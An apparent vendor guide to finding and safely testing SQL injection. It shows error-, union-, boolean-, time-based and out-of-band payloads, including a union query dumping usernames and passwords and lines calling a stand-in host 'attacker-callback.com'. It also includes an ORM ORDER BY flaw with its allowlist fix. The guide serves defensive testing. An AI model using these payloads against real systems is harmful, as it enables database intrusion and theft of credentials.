Why SQL injection still exists in 2026
Parameterized queries and ORMs have made classic SQL injection significantly less common. But they haven't eliminated it — for three reasons that appear repeatedly in production codebases:
Raw query escape hatches
Every major ORM provides a way to run raw SQL for performance or complex queries. These raw calls frequently appear in search, reporting, and admin features — and they bypass the ORM's parameterization entirely.
Dynamic ORDER BY and column selection
Parameterized queries protect values — not identifiers like column names and sort directions. When an app accepts user input to control which column to sort by, it often interpolates that value directly into the query.
Legacy code and third-party integrations
Acquired codebases, older modules, and third-party plugins often predate modern query practices. A single vulnerable component in an otherwise secure codebase is enough.
The three types of SQL injection
1. In-band (error-based and union-based)
The application returns database output directly in the HTTP response. This is the most straightforward to detect and the easiest to exploit end-to-end.
# Error-based — database error reveals structure
GET /api/products?id=1' HTTP/1.1
HTTP/1.1 500 Internal Server Error
{ "error": "You have an error in your SQL syntax near ''1'' at line 1" }
# → confirms MySQL, reveals raw query construction
# Union-based — extract data via UNION SELECT
GET /api/products?id=1 UNION SELECT username,password,3 FROM users-- HTTP/1.1
HTTP/1.1 200 OK
[{ "id": "admin", "name": "$2b$12$...", "price": 3 }]
# → user table dumped into product response2. Blind (boolean-based and time-based)
The application doesn't return database errors or query results — but it behaves differently depending on whether an injected condition is true or false. Exploitable, but requires more requests.
# Boolean-based — two different responses reveal injection point GET /api/products?id=1 AND 1=1-- → HTTP 200 (normal response) GET /api/products?id=1 AND 1=2-- → HTTP 200 (empty response) # → response changes based on condition = confirmed blind SQLi # Time-based — no visible difference, but response timing reveals truth GET /api/products?id=1; IF(1=1) WAITFOR DELAY '0:0:5'-- # → 5-second delay confirms injection point (MSSQL syntax) GET /api/products?id=1 AND SLEEP(5)-- # → 5-second delay on MySQL
3. Out-of-band
The database makes a network request to an attacker-controlled server — DNS lookup or HTTP callback. Used when neither response content nor timing is observable. Requires database-level permissions to initiate outbound connections.
# MSSQL — triggers DNS lookup to attacker's domain
GET /api/products?id=1; EXEC master..xp_dirtree '//attacker-callback.com/x'--
# MySQL — file write to observe exfiltration (requires FILE privilege)
GET /api/products?id=1 UNION SELECT load_file('//attacker-callback.com/x')--Safe testing methodology — without breaking production
The risk with SQL injection testing is triggering destructive queries (DROP TABLE, DELETE, UPDATE) or causing unhandled exceptions that affect availability. A scope-safe testing approach uses read-only detection probes first — only escalating to data extraction after confirming the injection point exists.
Phase 1: Detection probes (always safe)
These payloads only evaluate a condition — they cannot modify data:
# String termination — look for SQL syntax errors value' value'' value` # Boolean tautology — identical to original if vulnerable value' AND '1'='1 value' AND '1'='2 ← different response confirms injection # Arithmetic — safe value comparison value' AND 1=1-- value' AND 1=2-- # Comment termination value'-- value'# value'/*
Phase 2: Confirm with time delay (no data extracted)
# MySQL
value' AND SLEEP(3)--
# MSSQL
value'; WAITFOR DELAY '0:0:3'--
# PostgreSQL
value'; SELECT pg_sleep(3)--
# Oracle
value' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',3)--A 3-second response delay with a 3-second sleep payload confirms time-based blind SQL injection. To avoid false positives from slow networks or loaded servers, automated tools should measure a baseline response time first — only flagging a finding when the delay exceeds the baseline by a significant margin (e.g., baseline + 3.5 seconds). No data leaves the database at this stage.
Phase 3: Extract database metadata only (not user data)
Proof of exploitation doesn't require dumping user tables. Extracting the database version or schema name is sufficient proof and avoids accessing sensitive data:
# Extract database version — confirms exploitability, no sensitive data
' UNION SELECT @@version,2,3-- (MySQL/MSSQL)
' UNION SELECT version(),2,3-- (PostgreSQL)
' UNION SELECT banner,2,3 FROM v$version-- (Oracle)
# Example proof response:
{ "id": "8.0.32-MySQL Community Server", "name": "...", "price": 3 }
# → database version in response = confirmed exploitableWhere to look: the highest-risk input surfaces
Not all inputs are equally likely to be vulnerable. Prioritize these surfaces:
Search and filter endpoints
HighSearch queries often use LIKE clauses with string interpolation. Sort and filter parameters frequently use dynamic column names outside parameterization.
ID parameters in GET requests
HighNumeric IDs fed directly into WHERE clauses. Integer injection (1 AND 1=1) is often missed by input validation that only checks for quotes.
Login forms
HighClassic injection target. Authentication bypass via ' OR '1'='1 still works on hand-written auth queries.
Admin and reporting panels
MediumComplex dynamic queries for reports and dashboards often use raw SQL for flexibility. Frequently less tested than user-facing features.
Cookie and header values
MediumUser-Agent, X-Forwarded-For, and session cookie values are sometimes logged or looked up in the database without sanitization.
JSON body parameters
MediumAPIs that accept JSON may feed nested values directly into queries, especially in search and batch operation endpoints.
The ORDER BY blind spot in ORM applications
This pattern trips up teams that believe their ORM protects them fully. Consider a table with sortable columns, where the sort parameter comes from the user:
# Node.js / Sequelize — looks safe but isn't
const results = await Model.findAll({
order: [[req.query.sort, req.query.direction]]
// Sequelize passes column name directly — not parameterized
});
# Resulting SQL
SELECT * FROM orders ORDER BY user_input_here ASC
# Injection via sort parameter
GET /api/orders?sort=(SELECT SLEEP(3))&direction=ASC
# → time-based blind SQLi through ORMThe fix is an explicit allowlist for sort columns — never passing user input directly as a column identifier, even through an ORM:
const ALLOWED_SORT_COLUMNS = ['created_at', 'amount', 'status'];
const ALLOWED_DIRECTIONS = ['ASC', 'DESC'];
const sortCol = ALLOWED_SORT_COLUMNS.includes(req.query.sort)
? req.query.sort : 'created_at';
const sortDir = ALLOWED_DIRECTIONS.includes(req.query.direction?.toUpperCase())
? req.query.direction.toUpperCase() : 'DESC';
const results = await Model.findAll({ order: [[sortCol, sortDir]] });What proof of exploitation requires
A scanner returning "SQL injection found" based on an error message is detection, not confirmation. Confirmed SQL injection requires demonstrating a meaningful impact from the vulnerability:
SQL syntax error in response — confirms the input reaches a query unsanitized
Boolean or time-based behavior change — confirms the injection point is executable
Database metadata extracted (version, schema) — confirms attacker can read from the database
Sensitive data extracted (user records, credentials, PII) — confirms real-world business impact
For a finding to be actionable by an engineering team, you need at minimum the confirmation level — and ideally an exploitation-level proof that shows the database version without extracting user data.
CVSS 3.1 scoring
A confirmed in-band SQL injection on an authenticated endpoint with database read access:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AV:N — Network (remotely exploitable)
AC:L — Low complexity
PR:L — Low privileges (authenticated user)
UI:N — No user interaction required
C:H / I:H / A:H — Full database read, write, and potential denial of service
Score: 8.8 High
Unauthenticated SQL injection scores 9.8 Critical (PR:N). Time-based blind with no data extracted scores lower due to reduced confirmed impact.
Test your app for SQL injection safely
Nautillo Pro runs scope-safe SQL injection probes — detection and confirmation payloads only, no destructive queries. Every confirmed finding includes the exact HTTP request, response, database fingerprint, and CVSS score. No manual setup required.